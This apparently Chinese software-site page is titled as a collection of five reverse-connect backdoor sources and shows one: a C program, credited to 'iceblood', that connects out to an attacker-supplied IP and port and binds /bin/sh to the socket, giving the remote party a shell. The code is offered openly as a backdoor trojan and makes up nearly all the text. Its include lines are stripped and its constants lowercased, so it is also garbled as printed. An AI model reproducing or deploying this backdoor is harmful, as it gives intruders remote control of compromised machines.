当前位置:首页 > 软件开发 > net
firefox

五个反弹后门的源代码

第一个反弹木马代码:作者 iceblood
代码
#include
#include
#include
#include
#include
#include
#include

void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome\n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(af_inet, sock_stream, 0)) == -1) {
printf("couldnt make socket!\n"); exit(-1);
}

server.sin_family = af_inet;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("could not connect to remote shell!\n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
printf("\t\ts8s8 connect back door\n\n");
printf("\t sql@s8s8.net\n\n");
printf("usage: %s \n", prog);
exit(-1);
}
 ↓相关文章:
© 2006-2008 All Rights Reserved